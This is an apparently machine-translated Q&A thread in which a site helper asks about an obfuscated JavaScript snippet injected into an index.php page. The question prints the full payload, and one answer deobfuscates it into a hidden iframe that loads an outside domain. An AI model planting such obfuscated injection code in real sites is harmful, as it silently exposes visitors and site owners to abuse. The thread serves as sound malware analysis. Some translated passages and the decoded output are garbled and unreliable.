奇怪的javascript出现在页面中

时间:2012-05-09 11:05:49

标签: javascript

此脚本出现在我帮助的网站的index.php页面中:

<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>

它似乎唯一能做的就是在您尝试打开页面时返回错误。我刚刚删除它,一切都运行良好,但我们不知道它是如何到达那里的,如果它应该实际上做一些可能有害的事情。该网站以aruba方式托管,有权访问该代码的人最近都没有在这个页面上工作过。

2 个答案:

答案 0 :(得分:5)

所以现在这是一个难题。

相当打印代码,它有4个阶段:

  1. 声明$
  2. 使用当前值$构造字典,然后将其分配给$ again
  3. 使用字典中的其他值
  4. 在字典中设置其他几个键/值对
  5. 构造一个立即调用的嵌套函数调用对
  6. $声明就像这里的一切一样,有点奇怪:

    $=~[];
    

    在Chrome控制台中,返回-1;在数值上下文中计算,[]变为0,并且〜(javascript中的按位NOT运算符)在0上产生-1。所以我们将变量赋值为-1。 Unobfuscate!

    v = -1;
    

    然后构建一个带有未混淆的字典:

    $={ ___ : ++$,              dct={ zero  : 0,
      $$$$  : (![] + "")[$],          f     : "f",
      __$   : ++$,                    one   : 1,
      $_$_  : (![] + "")[$],          a     : "a",
      _$_   : ++$,                    two   : 2,
      $_$$  : ({} + "")[$],           b     : "b",
      $$_$  : ($[$] + "")[$],         d     : "d",
      _$$   : ++$,                    three : 3,
      $$$_  : (!"" + "")[$],          e     : "e",
      $__   : ++$,                    four  : 4,
      $_$   : ++$,                    five  : 5,
      $$__  : ({} + "")[$],           c     : "c",
      $$_   : ++$,                    six   : 6,
      $$$   : ++$,                    seven : 7,
      $___  : ++$,                    eight : 8,
      $__$  : ++$                     nine  : 9
      };                            };
    

    所以我们有一个字典,其中包含0到9之间的一些值,以及字母a到f。有人闻到十六进制获取字母的方法是从可预测的js生成的字符串中挑选出子字符串;对于“a”,“e”和“f”,falsy值加“”给出“false”。对于b和c,{}+""给出[object Object]undefined给出d。

    接下来,它构造字典($.$_)的$ _(我们称之为alpha)元素作为a的串联 一系列字符串(到目前为止定义的unobf名称加上_$成为beta,$$ gamma,__ delta, $ epsilon,_ phi):

    (dct.alpha = dct + "")[dct.five]    // dct.alpha = "[object Object]", yields "c"
    (dct.beta  = dct.alpha[dct.one])    // dct.beta="o", yields "o"
    (dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
    ((!dct) + "")[dct.three]            // "s"
    (dct.delta = dct.alpha[dct.six])    // dct.delta="t", "t"
    (dct.epsilon= (!"" + "")[dct.one])  // dct.epsilon="r", "r"
    (dct.phi   = (!"" + "")[dct.two])   // dct.phi = "u", "u"
    dct.alpha[dct.5]                    // "c"
    dct.delta                           // "t"
    dct.beta                            // "o"
    dct.epsilon                         // "r"
    

    所以这一切都将dct.alpha($.$_)设置为“构造函数”。不祥的。 $.$$(我们称之为gamma)的类似设置,将其设置为“返回”。云层变厚了。

    另一次重新分配,这次是$.$(我们的dct.epsilon),将其设置为

    dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]
    

    这不仅仅是一个数组查找。 dct.zero为0,所以(0)[“构造函数”]正在查找 “构造函数”属性为0.请记住,在javascript中,[“b”]与...相同 a.b,所以(0)["constructor"]["constructor"]0.constructor.constructor。 0的构造函数是Number函数,以及。的构造函数 数字功能是功能功能。然后将此函数(指针)分配给dct.epsilon。 蠕虫病了。

    最终语句是对$.$$的嵌套函数调用:

    dct.epsilon(                  Function(
      dct.epsilon(                  Function(
        //long concatenation            // something functiony
      )()                           )()
    )();                          )()
    

    长连接将传递给函数构造函数,然后立即执行。 此函数返回的函数也将立即执行。

    实际上,到目前为止我们所看到的一切都是脚手架。几乎任何功能都可以构建 虽然我们已经知道将要使用的字母。我会冒险猜测以上情况 是一种通用的混淆,可以保存所需的任何有效负载。

    由characeter构造的字符串是:

    return "docu\155e\156t.\167\162\151te('<d \151 ... // continues
    

    所以我们可以看到那里有逃逸的序列。事实上,回归 告诉我们整个文件...字符串将有助于非转义,然后返回批发,准备好了 外部呼叫呼叫它。

    因此外部调用将接收此现在未转义的字符串(格式化和拆分字符串以便于阅读):

    文件撰写(      ''+        '' +                   “计数器” +         '' +      “”    );

    我把'HEXYHEXY'代替那里的十六进制字符串 - 它可能会链接你的 网站或者也许是这个页面上的病毒作者,我们并不是真正想要的。 iframe中的域名 src可能连接到病毒作者,或者它可能只是另一个被入侵的页面;一只蠕虫 可能会使用一个主机通过这种病毒作为中介引导另一个主机。我的猜测是 它只是推动虚假页面印象 - 每次你的页面被击中,目标页面也是如此,但没有人看到 广告等因为隐藏的div容器。 'Counter'位只是一种隐藏的尝试 明显的秘密;如果您查看浏览器的页面表示,您所看到的就是 一个无辜的反iframe。

    一些javascript技巧要避免

    病毒作者在这里有一些技巧来逃避找到这种脚本的简单方法:

    1. 使用ASCII转义,例如\155变成'm',所以字母永远不会是一个普通的字符串。
    2. 将字符串传递给Function函数以构造任意函数,而不是使用eval
    3. 使用可预测的自动生成字符串(![]+"")[3] = "false"[3] = "s"的子字符串来挑选单个字符而不将它们放在普通字符串中
    4. 无名使用和重复使用名称中$_的变量来混淆人类读者
    5. 在字典声明中使用变量,以便在不执行代码的情况下很难看到静态值。
    6. 作业回报; (a=b)返回a的值,因此(a=b) [3]返回赋值值的子字符串,同时也进行赋值
    7. 在较大的作业中重新分配变量,例如a = {(a=3):"b",++a:"c"}
    8. 所有这些都是普通代码中非常糟糕的事情,因为它们就在这里:它们使代码难以阅读或理解。

答案 1 :(得分:2)

这可能是一种病毒。这些病毒通过感染主机(几乎总是Windows)来工作,然后在他们可以找到的任何HTML文件中复制自己。当您打开与服务器的连接时,“受感染”的HTML文件会被复制并最终被复制,最终会无意中感染或对访问者造成伤害。

让您的防病毒保持最新。